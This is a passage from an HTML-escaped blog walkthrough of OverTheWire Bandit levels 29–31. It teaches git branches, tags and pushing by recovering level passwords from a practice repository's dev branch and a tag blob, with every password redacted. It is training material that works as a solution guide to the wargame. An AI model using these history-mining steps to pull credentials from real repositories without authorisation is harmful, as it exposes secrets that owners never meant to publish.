&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;-&lt;&#x2F;span&gt;&lt;span&gt; password: [REDACTED LEVEL 29 PASSWORD]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;h3 id=&quot;level-29&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#level-29&quot; aria-label=&quot;Anchor link for: level-29&quot;&gt;Level 29&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;blockquote&gt;
&lt;p&gt;There is a git repository at &lt;code&gt;ssh:&#x2F;&#x2F;bandit29-git@localhost&#x2F;home&#x2F;bandit29-git&#x2F;&lt;&#x2F;code&gt; repo via the port 2220. The password for the user bandit29-git is the same as for the user &lt;code&gt;bandit29&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;Clone the repository and find the password for the next level.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;Clone the repository.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;$ git clone ssh:&#x2F;&#x2F;bandit29-git@localhost:2220&#x2F;home&#x2F;bandit29-git&#x2F;repo&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Similar to &lt;a href=&quot;https:&#x2F;&#x2F;www.cblanken.dev&#x2F;blog&#x2F;overthewirebandit&#x2F;#level-28&quot;&gt;Level 28&lt;&#x2F;a&gt; there is a &lt;code&gt;README&lt;&#x2F;code&gt; file.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;markdown&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);font-weight: bold;&quot;&gt;#&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#9D0006, #8BA4B0);font-weight: bold;&quot;&gt; Bandit Notes&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Some notes for bandit30 of bandit.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);font-weight: bold;&quot;&gt;##&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#AF3A03, #8BA4B0);font-weight: bold;&quot;&gt; credentials&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;-&lt;&#x2F;span&gt;&lt;span&gt; username: bandit30&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;-&lt;&#x2F;span&gt;&lt;span&gt; password: &lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#076678, #9E9B93);&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#427B58, #C4B28A);font-weight: bold;&quot;&gt;no&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B57614, #8992A7);&quot;&gt; passwords&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B57614, #8992A7);&quot;&gt; in&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B57614, #8992A7);&quot;&gt; production!&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#076678, #9E9B93);&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Looking at the log again doesn’t turn up anything interesting.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;commit 3910630172946c9ffb75842922e394b772c672bd (HEAD)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Author: Ben Dover &amp;lt;noone@overthewire.org&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Date:   Thu Apr 10 14:23:21 2025 +0000&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    add gif2ascii&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;commit 3b8b91fc3c48f1a19d05670fd45d3e3f2621fcfa (origin&#x2F;master, origin&#x2F;HEAD, master)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Author: Ben Dover &amp;lt;noone@overthewire.org&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Date:   Thu Apr 10 14:23:21 2025 +0000&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    fix username&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;commit 8d2ffeb5e45f87d0abb028aa796e3ebb63c5579c&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Author: Ben Dover &amp;lt;noone@overthewire.org&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Date:   Thu Apr 10 14:23:21 2025 +0000&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    initial commit of README.md&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;This is where some knowledge of Git’s branching is useful. By default, the &lt;code&gt;git log&lt;&#x2F;code&gt; command will only display commits from current branch. In this case the &lt;code&gt;master&lt;&#x2F;code&gt; branch.&lt;&#x2F;p&gt;
&lt;p&gt;Use the &lt;code&gt;git branch&lt;&#x2F;code&gt; command to show the active branch.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;$ git branch&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;* master&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Additionally using the &lt;code&gt;--all&lt;&#x2F;code&gt; flag will list all the local and &lt;em&gt;remote&lt;&#x2F;em&gt; branches.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;$ git branch --all&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;* master&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;  remotes&#x2F;origin&#x2F;HEAD -&amp;gt; origin&#x2F;master&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;  remotes&#x2F;origin&#x2F;dev&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;  remotes&#x2F;origin&#x2F;master&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;  remotes&#x2F;origin&#x2F;sploits-dev&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;You can see here that there are two additional branches mentioned. The &lt;code&gt;dev&lt;&#x2F;code&gt; and &lt;code&gt;sploits-dev&lt;&#x2F;code&gt; branches. Let’s check them out.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;$ git checkout dev&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Switched to branch &amp;#39;dev&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Your branch is up to date with &amp;#39;origin&#x2F;dev&amp;#39;.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;commit a97d0dbf8fd910ead6fcf648829ff55c1a629c8e (HEAD -&amp;gt; dev, origin&#x2F;dev)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Author: Morla Porla &amp;lt;morla@overthewire.org&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Date:   Thu Apr 10 14:23:21 2025 +0000&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    add data needed for development&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;commit 3910630172946c9ffb75842922e394b772c672bd&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Author: Ben Dover &amp;lt;noone@overthewire.org&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Date:   Thu Apr 10 14:23:21 2025 +0000&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    add gif2ascii&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;commit 3b8b91fc3c48f1a19d05670fd45d3e3f2621fcfa (origin&#x2F;master, origin&#x2F;HEAD, master)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Author: Ben Dover &amp;lt;noone@overthewire.org&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Date:   Thu Apr 10 14:23:21 2025 +0000&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    fix username&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;commit 8d2ffeb5e45f87d0abb028aa796e3ebb63c5579c&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Author: Ben Dover &amp;lt;noone@overthewire.org&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Date:   Thu Apr 10 14:23:21 2025 +0000&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    initial commit of README.md&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;The &lt;code&gt;git show&lt;&#x2F;code&gt; command will print the changes made by the last commit, but you can alternatively, just read the &lt;code&gt;README&lt;&#x2F;code&gt; file while on the &lt;code&gt;dev&lt;&#x2F;code&gt; branch since the last commit contains the password.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;commit a97d0dbf8fd910ead6fcf648829ff55c1a629c8e (HEAD -&amp;gt; dev, origin&#x2F;dev)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Author: Morla Porla &amp;lt;morla@overthewire.org&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Date:   Thu Apr 10 14:23:21 2025 +0000&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    add data needed for development&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;diff --git a&#x2F;README.md b&#x2F;README.md&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;index 1af21d3..bc6ad3d 100644&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;--- a&#x2F;README.md&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;+++ b&#x2F;README.md&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;@@ -4,5 +4,5 @@ Some notes for bandit30 of bandit.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt; ## credentials&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt; - username: bandit30&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;-- password: &amp;lt;no passwords in production!&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;+- password: [REDACTED BANDIT 30 PASSWORD]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;The password only appears in the &lt;code&gt;dev&lt;&#x2F;code&gt; branch because it was only added in the &lt;code&gt;dev&lt;&#x2F;code&gt; branch, but never actually merged into &lt;code&gt;master&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;level-30&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#level-30&quot; aria-label=&quot;Anchor link for: level-30&quot;&gt;Level 30&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;blockquote&gt;
&lt;p&gt;There is a git repository at &lt;code&gt;ssh:&#x2F;&#x2F;bandit30-git@localhost&#x2F;home&#x2F;bandit30-git&#x2F;&lt;&#x2F;code&gt; repo via the port 2220. The password for the user bandit30-git is the same as for the user &lt;code&gt;bandit30&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;Clone the repository and find the password for the next level.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;Clone the repository.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;$ git clone ssh:&#x2F;&#x2F;bandit30-git@localhost:2220&#x2F;home&#x2F;bandit30-git&#x2F;repo&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;If we run &lt;code&gt;git log --all&lt;&#x2F;code&gt; there doesn’t appear to be anything unusual.&lt;&#x2F;p&gt;
&lt;p&gt;This time we’ll need to look at something called &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;git-scm.com&#x2F;book&#x2F;en&#x2F;v2&#x2F;Git-Basics-Tagging&quot;&gt;Tags&lt;&#x2F;a&gt; and a couple new commands.&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Git Command&lt;&#x2F;th&gt;&lt;th&gt;Description&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;git-scm.com&#x2F;docs&#x2F;git-clone&quot;&gt;&lt;kbd&gt;git-tag(1)&lt;&#x2F;kbd&gt;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;td&gt;create, list, delete or verify tags&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;git-scm.com&#x2F;docs&#x2F;git-checkout&quot;&gt;&lt;kbd&gt;git-show(1)&lt;&#x2F;kbd&gt;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;td&gt;show various git object i.e. blobs, commits, tags, and trees&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;Here we’ll list the existing tags for the repo.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;$ git tag&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;secret&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Usually tags are used to mark specific commits, but if you try to &lt;code&gt;git checkout&lt;&#x2F;code&gt; this &lt;code&gt;secret&lt;&#x2F;code&gt; tag you’ll get an error saying the reference is not a tree. This means the tag is just a BLOB (Binary Large OBject). You can read more about trees and blobs &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;git-scm.com&#x2F;book&#x2F;en&#x2F;v2&#x2F;Git-Internals-Git-Objects&quot;&gt;here&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;To show the contents of a blob we can use the &lt;code&gt;git show&lt;&#x2F;code&gt; command which reveals the next password.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;$ git show secret&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;[REDACTED LEVEL 31 PASSWORD]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;h3 id=&quot;level-31&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#level-31&quot; aria-label=&quot;Anchor link for: level-31&quot;&gt;Level 31&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;blockquote&gt;
&lt;p&gt;There is a git repository at ssh:&#x2F;&#x2F;bandit31-git@localhost&#x2F;home&#x2F;bandit31-git&#x2F;repo via the port 2220. The password for the user bandit31-git is the same as for the user bandit31.&lt;&#x2F;p&gt;
&lt;p&gt;Clone the repository and find the password for the next level.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;Clone the repo.&lt;&#x2F;p&gt;
&lt;p&gt;The &lt;code&gt;README.md&lt;&#x2F;code&gt; tells us to push a file to the remote with some file details.&lt;&#x2F;p&gt;
&lt;!-- prettier-ignore-start --&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;markdown&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;This time your task is to push a file to the remote repository.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Details:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;   File name: key.txt&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;   Content: &amp;#39;May I come in?&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;   Branch: master&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;!-- prettier-ignore-end --&gt;
&lt;p&gt;We’ll need a couple new commands to do that.&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Git Command&lt;&#x2F;th&gt;&lt;th&gt;Description&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;git-scm.com&#x2F;docs&#x2F;git-status&quot;&gt;&lt;kbd&gt;git-status(1)&lt;&#x2F;kbd&gt;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;td&gt;display the status of the working tree&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;git-scm.com&#x2F;docs&#x2F;git-add&quot;&gt;&lt;kbd&gt;git-add(1)&lt;&#x2F;kbd&gt;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;td&gt;add files to the staging area&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;git-scm.com&#x2F;docs&#x2F;git-push&quot;&gt;&lt;kbd&gt;git-push(1)&lt;&#x2F;kbd&gt;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;td&gt;create a new commit based on the current changes and add a commit message&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;Next we need to create the &lt;code&gt;key.txt&lt;&#x2F;code&gt; file.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;$ echo &amp;quot;May I come in?&amp;quot; &amp;gt; key.txt&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Then add the &lt;code&gt;key.txt&lt;&#x2F;code&gt; to our index.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;$ git add key.txt&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;The following paths are ignored by one of your .gitignore files:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;key.txt&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;hint: Use -f if you really want to add them.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;hint: Turn this message off by running&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;hint: &amp;quot;git config advice.addIgnoredFile false&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;You can read more about the mentioned &lt;code&gt;.gitignore&lt;&#x2F;code&gt; files &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;git-scm.com&#x2F;docs&#x2F;gitignore&quot;&gt;here&lt;&#x2F;a&gt;, but in this case we can just use the recommended &lt;code&gt;-f&lt;&#x2F;code&gt; flag to add the file and try again.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;$ git add -f key.txt&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;We can verify that the &lt;code&gt;key.txt&lt;&#x2F;code&gt; file has been added to the index with &lt;code&gt;git status&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;$ git status&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;On branch master&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Your branch is up to date with &amp;#39;origin&#x2F;master&amp;#39;.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
